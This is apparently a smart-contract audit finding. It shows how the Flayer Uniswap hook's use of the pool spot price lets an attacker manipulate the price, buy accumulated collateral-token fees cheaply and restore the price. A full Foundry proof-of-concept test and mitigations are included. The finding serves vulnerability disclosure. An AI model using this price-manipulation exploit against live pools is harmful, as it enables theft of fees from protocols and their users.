Sharp Blonde Camel

High

# Anyone steals hook fees via spot price manipulation

### Summary

The hook takes the [spot price](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L510) from the pool to swap (in one step) the collateral token fees. This is vulnerable to manipulation.


### Root Cause

In [UniswapImplementation.sol#L510](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L510) the price used is the spot price.


### Internal pre-conditions

There have to be fees in `amount1` (collateral token) in the pool.


### External pre-conditions

None

### Attack Path

The attack can be used with a flash loan if needed, but the amount to execute attack is not huge and depends on the liquidity in the pool.

1. The attacker swaps collateral token to native token to increase the price of native token. This swap does not touch the fees.
2. The attacker swaps native token to collateral token. This is exact output swap with the output amount equal to fees value. This will not make a swap in the pool, but only the "swap" on fees.
3. The attacker swaps back the native token to collateral token to bring back the initial price and get the tokens back (return to original situation).

### Impact

The attacker can buy fees (`amount1`) for a very low price and swap it back to native token, effectively stealing the fees.


### PoC

Run this test as part of `UniswapImplementation.t.sol`.
**Important:** Firstly fix the DoS bug with swapping fees (described here: #5).

```solidity
    function test_abuser_StealingFeesViaSpotPriceManipulation() public withLiquidity {
        //@audit PoC: StealingFeesViaSpotPriceManipulation
        // When there are fees (amount1) in the hook, one can manipulate the price to swap small amount of native token to get all fees

        // Give tokens and approfe for deposit fees
        uint256 feeAmount = 20 ether;
        address feesDepositor = vm.addr(0x1101);
        deal(address(unflippedToken), feesDepositor, feeAmount);
        vm.startPrank(feesDepositor);
        unflippedToken.approve(address(uniswapImplementation), type(uint).max);
        uniswapImplementation.depositFees(address(unflippedErc), 0, feeAmount);
        vm.stopPrank();

        // Give WETH and approve for swaps (theft)
        WETH.approve(address(poolSwap), type(uint).max);
        deal(address(WETH), address(this), 20 ether);

        // Give token and approve for swaps (manipulation)
        uint256 manipulationAmount = 100 ether;
        deal(address(unflippedToken), address(this), manipulationAmount);
        unflippedToken.approve(address(poolSwap), type(uint).max);

        PoolKey memory poolKey = _poolKey(false);

        uint160 sqrtPriceX96;
        IPoolManager.SwapParams memory swapParams;

        uint256 wETHStart = WETH.balanceOf(address(this));
        uint256 tokenStart = unflippedToken.balanceOf(address(this));

        // price before manipulation
        (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
        console.log("Price before manipulation:");
        console.log(sqrtPriceX96);

        // manipulate price
        swapParams = IPoolManager.SwapParams({
            zeroForOne: false,
            amountSpecified: -int256(manipulationAmount),
            sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
        });

        uint256 wETHBeforeManipulation = WETH.balanceOf(address(this));

        // manipulation swap
         poolSwap.swap(
            poolKey,
            swapParams,
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            ''
        );

        uint256 wETHAfterManipulation = WETH.balanceOf(address(this));
        uint wETHEarned = wETHAfterManipulation - wETHBeforeManipulation;

        // price during manipulation
        (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
        console.log("Price during manipulation:");
        console.log(sqrtPriceX96);

        // stealing fees
        swapParams = IPoolManager.SwapParams({
            zeroForOne: true,
            amountSpecified: int256(feeAmount),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });

        // Action stealing swap
         poolSwap.swap(
            poolKey,
            swapParams,
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            ''
        );


        // bring back price
        swapParams = IPoolManager.SwapParams({
            zeroForOne: true,
            amountSpecified: -int256(wETHEarned),
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });

        // bring back price swap
         poolSwap.swap(
            poolKey,
            swapParams,
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
            ''
        );

        // price after bringing back
        (sqrtPriceX96, , , ) = poolManager.getSlot0(poolKey.toId());
        console.log("Price after bringing back:");
        console.log(sqrtPriceX96);

        uint256 wETHEnd = WETH.balanceOf(address(this));
        uint256 tokenEnd = unflippedToken.balanceOf(address(this));

        if (tokenStart > tokenEnd) {
            console.log("Token loss:");
            console.log(tokenStart - tokenEnd);
        } else {
            console.log("Token profit:");
            console.log(tokenEnd - tokenStart);
        }

        if (wETHEnd > wETHStart) {
            console.log("WETH profit:");
            console.log(wETHEnd - wETHStart);
        } else {
            console.log("WETH cost:");
            console.log(wETHStart - wETHEnd);
        }
    }
```


### Mitigation

1. Do not use the spot price for swapping fees or implement slippage protection.
2. Do not compute swap in one step with the liquidity equal to the whole pool liquidity. 